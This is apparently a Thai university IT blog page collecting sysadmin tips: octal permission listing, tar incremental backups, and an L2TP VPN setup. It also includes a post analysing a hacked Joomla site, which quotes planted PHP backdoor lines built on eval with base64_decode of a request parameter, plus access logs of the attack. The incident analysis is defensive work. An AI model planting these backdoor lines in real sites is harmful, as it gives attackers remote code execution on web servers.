How to list linux file permissions in Octal Notation

วันนี้เนื่องจากทีมผู้ดูแล  Web Hosting ต้องการดูว่ามีไฟล์ไหนบ้างที่มี permission เป็น 777 ก็เลยนั่งหาดูพบว่า สามารถใช้คำสั่ง stat ในการดูได้ เช่น $stat -c “%a %n” /var/www ผลลัพธ์ หรือ $stat -c “%A (%a) %8s %.19y %n” /var/www ผลลัพธ์ ทั้งนี้เนื่องจากไม่สามารถทำให้มัน recursive ได้ ก็ต้องหาไปทีละโฟลเดอร์ …. จนกระทั่งเจออีกคำสั่ง คือ สร้าง alias ชื่อ lso ดังนี้ $alias lso=”ls -alG | awk ‘{k=0;for(i=0;i<=8;i++)k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf(\” %0o \”,k);print}'” เมื่อจะใช้งาน ก็เพียงสั่ง lso ที่คอมมานด์ไลน์ ผลลัพธ์ สามารถปรับ option ของ ls ใน alias ให้ recursive ได้โดยเพิ่ม R ตัวใหญ่ลงไป ดังนี้ $alias lso=”ls -alGR | awk ‘{k=0;for(i=0;i<=8;i++)k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf(\” %0o \”,k);print}'” เมื่อเรียกใช้จะได้ผลลัพธ์ สามารถใช้ร่วมกับ grep เพื่อค้นหาเฉพาะค่าที่ต้องการ เช่น $lso|grep ” ^777″ ผลลัพธ์ ก็พอจะช่วยได้บ้างครับ ขอให้สนุกครับ ที่มา http://thenubbyadmin.com/2012/02/16/how-to-list-linux-file-permissions-in-octal-notation/ http://askubuntu.com/questions/152001/how-can-i-get-octal-file-permissions-from-command-line

Read More »

แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail) #2

ขยายความต่อจาก แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail) ลองมาดูทีละขั้นตอน 1. ใน directory username.s มีไฟล์ดังนี้ $ ls -l username.s total 0 -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 a.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 b.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 c.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 d.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 e.txt 2. ใช้คำสั่งต่อไปนี้ เพื่อทำการ Full Backup tar -zcf username.s-full.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-full-tar.gz ด้วยคำสั่ง tar -ztf username.s-full.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/a.txt username.s/b.txt username.s/c.txt username.s/d.txt username.s/e.txt 3. ต่อมามีไฟล์เกิดใหม่ 2 ไฟล์ ชื่อ f.txt, g.txt 4. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง tar -zcf username.s-i01.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-i01-tar.gz ด้วยคำสั่ง tar -ztf username.s-i01.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/f.txt username.s/g.txt 5. ลบไฟล์ c.txt, e.txt และมีไฟล์ h.txt เกิดขึ้น 6. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง tar -zcf username.s-i02.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-i02-tar.gz ด้วยคำสั่ง tar -ztf username.s-i02.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/h.txt 7. (ในระบบ Email ไม่มีเหตุการณ์นี้ แต่ทำให้ดูเป็นตัวอย่าง) ถ้ามีการแก้ไขไฟล์ a.txt ซึ่งเดิมเป็นไฟล์ว่างๆ แต่ต่อมา มีการแก้ไขไฟล์ โดยเพิ่มคำว่า “hello world” เข้าไป echo “hello world” > username.s/a.txt 8. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง tar -zcf username.s-i03.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-i03-tar.gz ด้วยคำสั่ง tar -ztf username.s-i03.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/a.txt หวังว่าจะเป็นประโยชน์ครับ

Read More »

How to create PSU VPN (L2TP/IPSec) connection Ubuntu 13.04?

* ติดตั้งโปรแกรมชื่อ l2tp-ipsec-vpn ด้วยคำสั่ง $sudo apt-get install l2tp-ipsec-vpn ดังภาพ * ตอบ y * ตอบ No * กด OK * สั่ง reboot เครื่อง * เมื่อบูทเสร็จจะพบว่ามีไอคอนเพิ่มมาบนพาเนล * คลิกซ้ายเลือก Edit Connection * หน้าจอจะมืดลงและมีช่องให้ใส่พาสเวิร์ดของผู้ใช้ลงไปแล้วกด OK * จะได้หน้าจอดังรูป * คลิก Add จะได้หน้าจอดังรูป ใส่ vpn.psu.ac.th ลงไปในช่อง Connection name กด OK * ได้ดังรูป * คลิก Edit กรอกข้อความตามรูป * คลิก PPP เลือกตามรูป ในช่อง Username และ Password ให้ใช้ PSU Passport * คลิก IP setting คลิกเครื่องหมายถูกในช่องสี่เหลี่ยมหน้าข้อความ Obtain DNS server address automatically กด OK * กด OK ออกมาจนสุดคลิก Close คลิก OK * Reboot อีกครั้ง * คลิกที่ไอคอน เลือก vpn.psu.ac.th * เมื่อเชื่อมต่อสำเร็จจะเป็นดังรูป * สำหรับ Linux Mint 15 อาจจะต้องทำคำสั่งนี้ก่อนจึงจะใช้งานได้ sudo apt-add-repository ppa:werner-jaeger/ppa-werner-vpn sudo apt-get update && sudo apt-get install l2tp-ipsec-vpn * ขอให้สนุกครับ ที่มา http://rapidvpn.com/setup-vpn-l2tp-ubuntu.htm

Read More »

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น ตัวอย่างที่ 1:   จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ จากนั้น จึงใช้คำสั่ง eval(gzinflate(base64_decode($code))) ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้   ตัวอย่างที่ 2: ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง eval(base64_decode($_REQUEST[‘c_id’])) ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST) ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้ 216.239.45.67 – – [24/Apr/2013:08:22:41 +0700] “GET /language/settings.class.php HTTP/1.1” 200 197 “-” “Python-urllib/2.7” 202.46.129.104 – – [24/Apr/2013:08:23:02 +0700] “POST /language/settings.class.php HTTP/1.1” 200 497 “-” “Mozilla/5.0 Firefox/3.6.12” 61.152.116.103 – – [24/Apr/2013:08:35:08 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 62.193.237.22 – – [24/Apr/2013:08:51:35 +0700] “POST /language/settings.class.php HTTP/1.1” 200 211 “-” “Mozilla/5.0 Firefox/3.6.12” 200.198.186.38 – – [24/Apr/2013:08:56:29 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 31.196.4.41 – – [24/Apr/2013:08:56:32 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 203.172.251.84 – – [24/Apr/2013:08:57:27

Read More »

Linux Mint – แหล่งรวมรวมเอกสาร ข้อมูลความรู้ต่างๆ

Linux Mint – แหล่งรวมรวมเอกสาร ข้อมูลความรู้ต่างๆ ลิงค์ http://opensource.cc.psu.ac.th/Linuxmint 1-วิธีตั้งค่าให้อัปเดต Linux Mint ได้เร็วขึ้น ทำได้โดยการตั้งค่าให้ติดต่อกับ server ในประเทศไทย ลิงค์ http://opensource.cc.psu.ac.th/วิธีตั้งค่าให้อัปเดต_Linux_Mint_ได้เร็วขึ้น 2-วิธีปรับการตั้งค่า Linux Mint – Boot Options กรณีติดตั้ง Multi OS ปรับการหน่วงเวลาการเลือก OS ลิงค์ http://opensource.cc.psu.ac.th/วิธีปรับการตั้งค่า_Linux_Mint_-_Boot_Options_กรณีติดตั้ง_Multi_OS_ปรับการหน่วงเวลาการเลือก_OS 3-คำสั่งตรวจสอบรายชื่อ packages ที่ติดตั้งในระบบปฎิบัติการ Linux Mint, Ubuntu, Debian ลิงค์ http://opensource.cc.psu.ac.th/คำสั่งตรวจสอบรายชื่อ_packages_ที่ติดตั้งในระบบปฎิบัติการ_Linux_Mint,_Ubuntu,_Debian 4-แก้ไข Firefox browser แจ้งว่าใช้ flash player ที่ไม่ปลอดภัย หรือ Outdated ลิงค์ http://opensource.cc.psu.ac.th/แก้ไข Firefox browser แจ้งว่าใช้ flash player ที่ไม่ปลอดภัย 5-ตั้งค่า VPN สำหรับ Linux Mint ลิงค์ http://opensource.cc.psu.ac.th/ตั้งค่า_VPN_สำหรับ_Linux_Mint และอื่นๆที่จะมีเพิ่มเติมมาเรื่อยๆ

Read More »